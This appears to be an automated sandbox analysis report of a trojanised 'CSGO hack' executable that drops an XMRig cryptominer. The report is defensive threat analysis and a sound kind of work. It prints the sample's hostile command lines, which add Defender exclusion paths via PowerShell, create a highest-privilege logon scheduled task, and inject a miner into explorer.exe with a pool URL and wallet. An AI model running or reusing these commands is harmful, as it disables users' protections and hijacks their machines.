Analysis

  • max time kernel
    135s
  • max time network
    134s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    27/05/2021, 05:31

General

  • Target
    CSGO hack v2.7.exe
  • Size 2.4MB
  • Sample210527-j8331kh67e
  • SHA256 f970fb9186f287b64997d76b1d4ddc5121b42e4bf697734ae1855a641e95b923
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 3 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 36 IoCs
  • Suspicious use of AdjustPrivilegeToken 20 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\CSGO hack v2.7.exe
    "C:\Users\Admin\AppData\Local\Temp\CSGO hack v2.7.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1672
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & exit & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1980
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1956
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1036
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:904
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1964
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "iServices" /tr '"C:\Users\Admin\AppData\Roaming\iServices.exe"' & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:672
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc onlogon /rl highest /tn "iServices" /tr '"C:\Users\Admin\AppData\Roaming\iServices.exe"'
        3⤵
        • Creates scheduled task(s)
        PID:2004
    • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1996
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & exit & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:304
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1388
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1328
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1700
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:524
    • C:\Users\Admin\AppData\Roaming\iServices.exe
      "C:\Users\Admin\AppData\Roaming\iServices.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:932
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & exit & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1008
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1968
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1696
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1940
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1968
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "iServices" /tr '"C:\Users\Admin\AppData\Roaming\iServices.exe"' & exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1152
        • C:\Windows\system32\schtasks.exe
          schtasks /create /f /sc onlogon /rl highest /tn "iServices" /tr '"C:\Users\Admin\AppData\Roaming\iServices.exe"'
          4⤵
          • Creates scheduled task(s)
          PID:2008
      • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        3⤵
        • Executes dropped EXE
        PID:1888
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & exit & exit
          4⤵
            PID:1636
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1892
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1832
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1628
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1080
        • C:\Windows\explorer.exe
          C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:14433 --user=426JLJWzhPD26zb3b15T3RDfhY4nF8wUA4DMqob2PLHo6vdWuTovFiqXWEzuXzvPgxBQeHQfAnf2Y8pmFVyMCWwk9BETtPz --pass= --cpu-max-threads-hint=50 --donate-level=5 --cinit-idle-wait=2 --cinit-idle-cpu=90 --tls --cinit-stealth
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1392

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/524-190-0x000000001AB34000-0x000000001AB36000-memory.dmp

          memory/524-189-0x000000001AB30000-0x000000001AB32000-memory.dmp

          memory/904-114-0x000000001AC04000-0x000000001AC06000-memory.dmp

          memory/904-113-0x000000001AC00000-0x000000001AC02000-memory.dmp

          memory/932-138-0x000000013FE00000-0x000000013FE01000-memory.dmp

          memory/932-160-0x000000001BC40000-0x000000001BC42000-memory.dmp

          memory/1036-97-0x0000000002630000-0x0000000002631000-memory.dmp

          memory/1036-93-0x000000001AB40000-0x000000001AB41000-memory.dmp

          memory/1036-92-0x00000000023E0000-0x00000000023E1000-memory.dmp

          memory/1036-94-0x00000000025B0000-0x00000000025B2000-memory.dmp

          memory/1036-95-0x00000000025B4000-0x00000000025B6000-memory.dmp

          memory/1036-96-0x00000000026D0000-0x00000000026D1000-memory.dmp

          memory/1080-222-0x000000001AAF4000-0x000000001AAF6000-memory.dmp

          memory/1080-221-0x000000001AAF0000-0x000000001AAF2000-memory.dmp

          memory/1328-172-0x000000001AC94000-0x000000001AC96000-memory.dmp

          memory/1328-170-0x000000001AC90000-0x000000001AC92000-memory.dmp

          memory/1388-155-0x000000001AD10000-0x000000001AD12000-memory.dmp

          memory/1388-159-0x000000001AD14000-0x000000001AD16000-memory.dmp

          memory/1392-225-0x0000000001E70000-0x0000000001E90000-memory.dmp

          memory/1392-223-0x00000000003D0000-0x00000000003F0000-memory.dmp

          memory/1392-224-0x00000000003D0000-0x00000000003F0000-memory.dmp

          memory/1392-209-0x0000000140000000-0x0000000140758000-memory.dmp

          memory/1628-218-0x000000001ABB4000-0x000000001ABB6000-memory.dmp

          memory/1628-217-0x000000001ABB0000-0x000000001ABB2000-memory.dmp

          memory/1672-124-0x000000001CE50000-0x000000001D091000-memory.dmp

          memory/1672-61-0x000000001BDA0000-0x000000001BFE2000-memory.dmp

          memory/1672-67-0x000000001B350000-0x000000001B352000-memory.dmp

          memory/1672-59-0x000000013F3E0000-0x000000013F3E1000-memory.dmp

          memory/1672-125-0x000000001D0A0000-0x000000001D2CC000-memory.dmp

          memory/1696-177-0x000000001ABE0000-0x000000001ABE2000-memory.dmp

          memory/1696-178-0x000000001ABE4000-0x000000001ABE6000-memory.dmp

          memory/1700-182-0x000000001AA24000-0x000000001AA26000-memory.dmp

          memory/1700-181-0x000000001AA20000-0x000000001AA22000-memory.dmp

          memory/1832-214-0x000000001ABA4000-0x000000001ABA6000-memory.dmp

          memory/1832-213-0x000000001ABA0000-0x000000001ABA2000-memory.dmp

          memory/1888-206-0x000000001B5F0000-0x000000001B5F2000-memory.dmp

          memory/1892-207-0x000000001ABB0000-0x000000001ABB2000-memory.dmp

          memory/1892-208-0x000000001ABB4000-0x000000001ABB6000-memory.dmp

          memory/1940-185-0x000000001AA90000-0x000000001AA92000-memory.dmp

          memory/1940-186-0x000000001AA94000-0x000000001AA96000-memory.dmp

          memory/1956-66-0x000000001AAC0000-0x000000001AAC1000-memory.dmp

          memory/1956-64-0x000007FEFBE41000-0x000007FEFBE43000-memory.dmp

          memory/1956-69-0x00000000025F0000-0x00000000025F1000-memory.dmp

          memory/1956-88-0x000000001B440000-0x000000001B441000-memory.dmp

          memory/1956-72-0x0000000002620000-0x0000000002621000-memory.dmp

          memory/1956-71-0x0000000002440000-0x0000000002441000-memory.dmp

          memory/1956-65-0x0000000002360000-0x0000000002361000-memory.dmp

          memory/1956-75-0x000000001A8E0000-0x000000001A8E1000-memory.dmp

          memory/1956-87-0x000000001B430000-0x000000001B431000-memory.dmp

          memory/1956-68-0x000000001AA40000-0x000000001AA42000-memory.dmp

          memory/1956-70-0x000000001AA44000-0x000000001AA46000-memory.dmp

          memory/1964-122-0x000000001AB64000-0x000000001AB66000-memory.dmp

          memory/1964-121-0x000000001AB60000-0x000000001AB62000-memory.dmp

          memory/1968-194-0x000000001ABF4000-0x000000001ABF6000-memory.dmp

          memory/1968-161-0x00000000024E4000-0x00000000024E6000-memory.dmp

          memory/1968-158-0x00000000024E0000-0x00000000024E2000-memory.dmp

          memory/1968-193-0x000000001ABF0000-0x000000001ABF2000-memory.dmp

          memory/1996-142-0x0000000000900000-0x0000000000902000-memory.dmp

          memory/1996-140-0x0000000000750000-0x000000000075C000-memory.dmp

          memory/1996-134-0x000000013FF90000-0x000000013FF91000-memory.dmp